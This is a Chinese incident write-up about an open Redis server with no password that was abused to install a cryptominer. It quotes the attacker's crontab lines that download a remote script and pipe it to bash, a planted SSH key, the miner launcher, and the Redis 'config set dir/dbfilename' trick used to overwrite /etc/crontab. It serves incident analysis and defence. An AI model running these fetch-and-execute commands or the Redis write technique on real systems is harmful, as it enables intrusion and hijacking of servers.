redis未授权导致服务器被挖矿分析(20220119)

0x00 背景

  • 20220119收到阿里云报警短信

【阿里云】尊敬的******:云盾云安全中心检测到您的服务器:xx.xx.xx.xx(**)出现了紧急安全事件:挖矿程序,建议您立即登录云安全中心控制台-安全告警处理http://a.aliyun.com/f1. 进行处理

  • 登录阿里云控制台后发现有多条异常记录
  1. 恶意脚本代码执行(curl -s -L http://xx.xx.xx.xx/f220115rr/java8.sh)2022-01-16 03:35:01
  2. ECS在非常用地登录(登录源IP: xx.xx.xx.xx)2022-01-16 06:28:26
  3. 挖矿程序(/tmp/.system/java/java8_8 (deleted))2022-01-19 16:22:52
  4. 挖矿程序(/tmp/.system/java/java8_8)2022-01-19 17:12:16

0x01 现象

  • 查看top进程中有java8_8进程占用大量CPU
  • 查看/etc/crontab文件中有如下内容:
*/30 * * * * root curl -fsSL http://xx.xx.xx.xx/f220115rr/java8.sh | bash 
*/30 * * * * root cd1 -fsSL http://xx.xx.xx.xx/f220115rr/java8.sh | bash
  • 查看~/.ssh/authorized_keys文件中有如下内容:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWh4GJVPXi1DjSOxs4ytVtVT/XogOlBzAoWn5qE4yyO6EXRz1FhC+EVY9hmUcjMUN1Rp7dYZMLO1vsWhhpqmX9H0YWV2JfKixcXKE2eNrKxl45IRrhIRqNYzr/QnsmLdXZl5OLqoo587jwMCZeWB10NuOiUv5PKVCKUNtT2MQxKv/n5HleqY1Nn9uzFEiIkD39dmqm/4gKPbAcz3uXi31yVVSvUdmqoUoj8B/EdQn182z/Ix+WUJWAuYD2WTrhhYbcDvi+MSOm9ld7MgeOpxzLS
EJjEja4+2EHD7dkoNLMD9/UH4FW3yzt3kTUBdaeGJN0mndoex3IggihB5dMjuTnKp25iv6xzYXRCaupxnsRN2rYQlbda8+jZOTxF+nwRGeX9QeSthlQzzZyxEHT7USxQCBpvlyyTZJ9ugX/j11XkKdAGzmKZGo7F0Qxp173eL0SH+6roqrQcXL85r5OPjUd9Xt9fHz2zskN/urYcp6Oi+9kjQgWY0NcjMu/H5YaPP8= wolf@wolfs-MacBook-Pro.local
  • 查看~/.ssh/known_hosts文件中有如下内容:
xx.xx.xx.xx ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPXvwY3uGrEkEjGDHk/5uwdcx6MRXkqfBBbKOOBXvEyBvDbK9naV9v6IHH3aL5+sCNeTwhjPKHwy3ywf7TbDAe

0x02 临时处理

  • 尝试先杀掉java8_8进程,使用kill -9 $pid的方式,杀完后自定重启,怀疑有守护进程
  • 查看/tmp/.system/java/miner.sh文件:
#!/bin/bash
if ! pidof java8_8 >/dev/null; then
  nice /tmp/.system/java/java8_8 $*
else
  echo "RAPTOREUM miner is already running in the background. Refusing to run another one."
  echo "Run \"killall java8_8\" or \"sudo killall java8_8\" if you want to remove background miner first."
fi
  • 使用killall java8_8可以杀掉进程
  • 移除ssh-key登录:ssh-keygen -R xx.xx.xx.xx
  • 尝试删除/etc/crontab文件内容,发现文件为只读;使用chattr -ia /etc/crontab解除只读,然后直接rm /etc/crontab删除文件

0x03 溯源

系统架构为应用服务器+数据库服务器模式

数据库服务器开放的业务端口只有****(mysql)和****(redis),mysql直接被外部入侵的可能性不大,因此只有如下两种可能:**

  • 排查是否为应用程序服务器漏洞导致:

查看应用在2022-01-16 03:35:01的日志,并未找到异常;

  • 排除是否为redis漏洞:

redis开放了外网访问端口,并且未设置auth密码,被入侵可能性极大:

redis被入侵一般都是利用了redis的同步数据到硬盘机制写入文件

  1. 查看redis在2022-01-16 03:35:01的日志,发现有异常ip登录xx.xx.xx.xx;
  2. 查看redis中有3个异常key,分表为x1、x2、x3、x4,value值为:
*/3 * * * * root wdl -q -O- http://xx.xx.xx.xx/f220115rr/java8.sh|bash > /dev/null 2>&1
  1. 查看redis设置:
>config get dir
1) dir
2) /etc
>config get dbfilename
1) dbfilename
2) crontab

由此可以分析出,攻击者使用了redis覆盖/etc/crontab文件,写入定时任务,从远程服务器下载脚本并执行,同时修改系统中相关权限,防止进程被杀,达到一直执行挖矿程序的目的。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值